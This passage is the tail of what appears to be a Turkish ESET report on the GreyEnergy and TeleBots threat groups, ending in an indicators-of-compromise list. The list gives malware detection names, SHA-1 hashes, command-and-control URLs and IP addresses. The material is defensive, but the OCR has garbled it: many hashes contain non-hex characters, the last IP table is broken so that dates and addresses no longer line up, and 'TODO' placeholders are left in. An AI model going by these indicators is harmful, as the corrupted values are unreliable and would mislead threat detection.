gosteriyor. Bununla beraber, onlari nispeten farkl amaglara sahip olan farkli gruplar olarak degerlendiriyoruz.
Bu yazidan yola ¢ikarak, Ukrayna disinda kasith hicbir TeleBots faaliyeti gérmedigimizi, fakat Ukrayna sinirlari
disinda da GreyEnergy faaliyeti gordigimuzi sdyleyebiliriz; tipki dncesinde BlackEnergy'de oldugu gibi.

Ayrica, bu kot amagh yazilimi ve faliyeti higbir ulus devlete ithaf etmedigimizi belirtmek istiyoruz. 'APT
gruplarini' tanimlarken, istihbarat ajanslarina ait arastirmalarla ilgili tespitlerden ziyade, teknik birtakim
gostergelere odaklaniyoruz.

Bununla birlikte, GreyEnergy'den sorumlu olan tehdit aktorlerinin, kendi sireklilikleri ve gizlilikleri g6z 6niinde
bulunduruldugunda son derece tehlikeli olduklari kesin.

ESET; bireyleri, isletmeleri ve kurumlari, bu tehditten emin olmak icin en giincel u¢ nokta giivenlik korumasina
sahip olmalari konusunda tesvik etmektedir. GreyEnergy ve TeleBots faliyetlerini izlemeye devam ederek diger
bulgulari raporlamaya devam edecegiz.

IOC'LER

ESET tespit adlar::

VBA/TrojanDownloader.Agent.EYV trojan
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Win32/Agent.SCT trojan
Win32/Agent.SCM trojan
Win32/Agent.SYN trojan
Win64/Agent.SYN trojan

Win32/Agent.WTD trojan
Win32/GreyEnergy trojan
Win64/GreyEnergy trojan

TODO : MOONRAKER

PHP/Agent.JS trojan

PHP/Agent.JX trojan

PHP/Agent.KJ trojan

PHP/Agent.KK trojan

PHP/Agent.KL trojan

PHP/Agent.KM trojan

PHP/Agent.KN trojan

PHP/Agent.KO trojan

PHP/Agent.KP trojan

PHP/Agent.KQ trojan

PHP/Agent.KR trojan

PHP/Agent.KS trojan

PHP/Agent.KT trojan

PHP/Agent.KU trojan

PHP/Agent.LC trojan

PHP/Agent .NBP trojan

PHP/Kryptik.AB trojan
PHP/TrojanProxy.Agent.B trojan
TODO:ASP_SCRIPT

TODO : SCANNER

Win64/Riskware.Mimikatz.A application
Win64/Riskware.Mimikatz.AE application
Win64 /Riskware.Mimikatz.AH application
Win32/Winexe.A potentially unsafe application
Winé64/Winexe.A potentially unsafe application
Win64/Winexe.B potentially unsafe application

GreyEnergy document:

SHA-1:
177AF8F6E8D6F4952D13F88CDF1887CB7220A645

GreyEnergy mini:

SHA-1:

455D9EB9E11AA9AF9717E0260A70611FF84EF900
51309371673ACD310F327A10476F707EB914E255
CB11F36E271306354998BB8ABB6CA67C1D6A3E24
CC1CE3073937552459FBS8EDOADB5D56FAO0BCD43
30AF51F1F7CB9A9A46DF3ABFFB6AE3E39935D82C

GreyEnergy droppers:

SHA-1:

04F75879132BOBFBA96CB7B210124BC3D396A7CE
69E2487EEE4637FE62E47891154D97DFDF8AADS7
716EFE17CD1563FFADSESE9A3EOCAC3CAB725F92
93EF4F47AC160721768A00E1A2121B45A9933A1D
94F445B65BFO9AOAB134FAD2AAAD70779EAFD9288
A414FO0A651F750EEA18F6D6C64627C4720548581
B3EF67F7881884A2E3493FE3D5F614DBBC51A79B
EBD5DC18C51B6FBOE9985A3A9E86FF66E22E813E
EC7E018BA36F07E6DADBE411E35B0B92E3ADSABA

GreyEnergy dropped DLLs:

SHA-1:
0B5D24E6520B8D6547526FCBFC5768EC5AD19314
10D7687C44BECA4151BB07F78C6E605E8A552889
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2ATEE7562A6A5BA7F192B3D6AED8627DFFDA4903
3CBDC146441E4858A1DE47DF0B4B795C4B0C2862
4E137F04A2C5FA64D5BF334EF78FE48CF7C7D626
62E00701F62971311EF8E57F33F6A3BASED28BF7
646060AC31FFDDFBD02967216BC71556A0C1AEDF
748FE84497423ED209357E923BE28083D42D69DE
B75D0379C5081958AF83A542901553E1710979C7
BFC164E5A28A3D56B8493B1FC1CA4A12FA1AC6AC
ClEBO150E2FCC099465C210B528BF508D2C64520
CBB7BA92CDF86FA260982399DAB8B416D905E89B
DF051C67EE633231E4C76EC247932C1A9868C14F
DFD8665D91C508FAF66E2BC2789B504670762EA2
E2436472B984F4505B4B938CEE6CAE26EF043FC7
E3E61DF9EODD92C98223C750E13001CBB73A1E31
E496318E6644E47B07D6CABOOB93D27D0FE6B415
EDA505896FFF9A29BD7EAE67FD626D7FFA36C7B2
FOOBEFDF08678B642B69D128F2AFAE32A1564A90
F36ECAC8696AA0862AD3779CA464B2CD399D8099

GreyEnergy in-memory-only DLLs:

SHA-1:

OBCECB797306D30D0BASEAEA123B5BF69981EFF4
11159DB91B870E6728F1A7835B5D8BE9424914B9
6ABD4B82A133C4610E5779C876FCB7E066898380
848FO0DBF50B582A87399428D093E5903FFAEEDCD
99A81305EF6E45F470EEE677C6491045E3B4D33A
A01036A8EFE5349920A656A422E959A2B9B76F02
C449294E57088E2E2B9766493E48C98B8C9180F8
C7FC689FE76361EFAFDC1F2A5BAB71CO0E2E09746
D24FC871A721B2FD01F143EB6375784144365A84
DA617BC6DCD2083D93A9A83D4F15E3713D365960
E4FCAA1B6A27AA183C6A3A46B84B5EAEY772920B

Moonraker Petya

SHA-1:
1AA1EF7470A8882CA81BB9894630433E5CCE4373

PHP and ASP scripts

SHA-1:

10F4D12CF8EE15747BFB618F3731D81A905AAB04
13C5B14E19C9095ABA3F1DAS56B1A76793C7144B9
1BA30B645E974DE86F24054B238FE77A331D0D2C
438C8F9607EO06E7AC1261F99F8311B004C23DEC3
4D1C282F9942EC87C5B4D9363187AFDC120F4DC7
4EQOC5CCFFB7E2D17C26F82DB5564E47F141300B3
5377ADB779DE325A74838C0815EEA958B4822F82
58A69A8D1B94E751050DECF87F2572E09794F0F8
5DD34FB1C8E224C17DCEO4E02A4409E9393BCESS8
639BCE78F961C4B9ECDI9FE1A8537733388B99857
7127B880C8E31FBEB1D376EB55A6F878BC77B21A
71BASFEQOC9C32A9BR987E2BB827FES54DAE905D65E
78A7FBDD6ADF073EA6D835BE69084E071B4DA395
81332D2F96A354B1B8E11984918C43FB9B5CBI9DB
8CCO08B3189F8CE9A96C2C41F864D019319EB2EE
940DE46CD8C50C28A9COEFC65AEE7D567117941B
A415E12591DD47289E235E7022A6896CB2BFDE96
D3AE97A99D826F49AD03ADDCIFOD5200BE4 6ABSE
E69F5FF2FCD18698BB584B6BC15136D61EB4F594
E83A090D325E4A9E30B88A181396D62FEF5D54D5
ECF21EFCO9E4E2ACFEEB71FB78CB1lF518E1F5724

Custom port scanner
SHA-1:
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B371A5D6465DC85C093A5FB84D7CDDEB1EFFCC56
B40BDE0341F52481AE1820022FA8376E53A20040

Mimikatz

SHA-1:

89D7EODA80C9973D945E6F62E843606B2E264F7E
8B295AB4789105F9910E4F3AF1B60CBBASADGFCO
AD6F835F239DA6683CAAS54FCCBCFDDODC40196BE

WinExe

SHA-1:

0666B109B0128599D535904C1F7DDCO02C1F704F2
2695FCFE83AB536D89147184589CCB44FC4A60F3
3608EC28A9AD7AF14325F764FB2F356731F1CAT7A
37C837FB170164CBC88BEAE720DF128B786A71E0
594B809343FEB1D14F80F0902D764A9BF0OA8C33C
7ClF7CE5E57CBDE9AC7755A7B755171E38ABD70D
90122CO0DC5890F9A7B5774C6966EA694A590BD38
C59F66808EA8F07CBDE74116DDE6ODAB4FIF3122
CEB96B364D6A8SB65EASFA43EBOA735176E409ERBO
FCEAA83E7BD9BCABSEFBA9D1811480B8CBOBSA3E

Uyari! Most of the servers with these IP addresses were part of the Tor network, which means that the use of
these indicators could result in false positive matches.

GreyEnergy mini C&C adresleri

https://82.118.236[.]123:8443/27c00829d57988279f3ec61a05dee75a
http://82.118.236[.]23:8080/27c00829d57988279f3ec61la05dee75a
https://88.198.13[.]116:8443/xmlservice
http://88.198.13[.]116:8080/xmlservice
https://217.12.204[.]100/news/

http://217.12.204[.]100/news/
http://pbank.co[.]ua/favicon.ico (IP: 185.128.40.90)

GreyEnergy C&C adresleri

Active period IP address

2015 - 2016 109.200.202.7
2015 - 2015 193.105.134.68
2015 - 2016 163.172.7.195
2015 - 2016 163.172.7.196
2016 - 2016 5.149.248.77
2016 - 2016 31.148.220.112
2016 - 2016 62.210.77.169
2016 - 2016 85.25.211.10
2016 - 2016 138.201.198.164
2016 - 2017 124.217.254.55
2017 - 2017 46.249.49.231
2017 - 2017 37.59.14.94
2017 - 2017 213.239.202.149

2017 - 2017 88.198.13.116
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2017 - 2017
2017 - 2017
2017 - 2018
2017 - 2018
2018 - 2018
2018 - 2018
2018 - 2018
2018 - 2018
2018 - 2018

217.
176.
185.
178.
176.
178.

193.

12.202.111

31.116.140

217.0.121

150.0.200

121.10.137

255.40.194

105.134.56

94.130.88.50

185.

216.33.126
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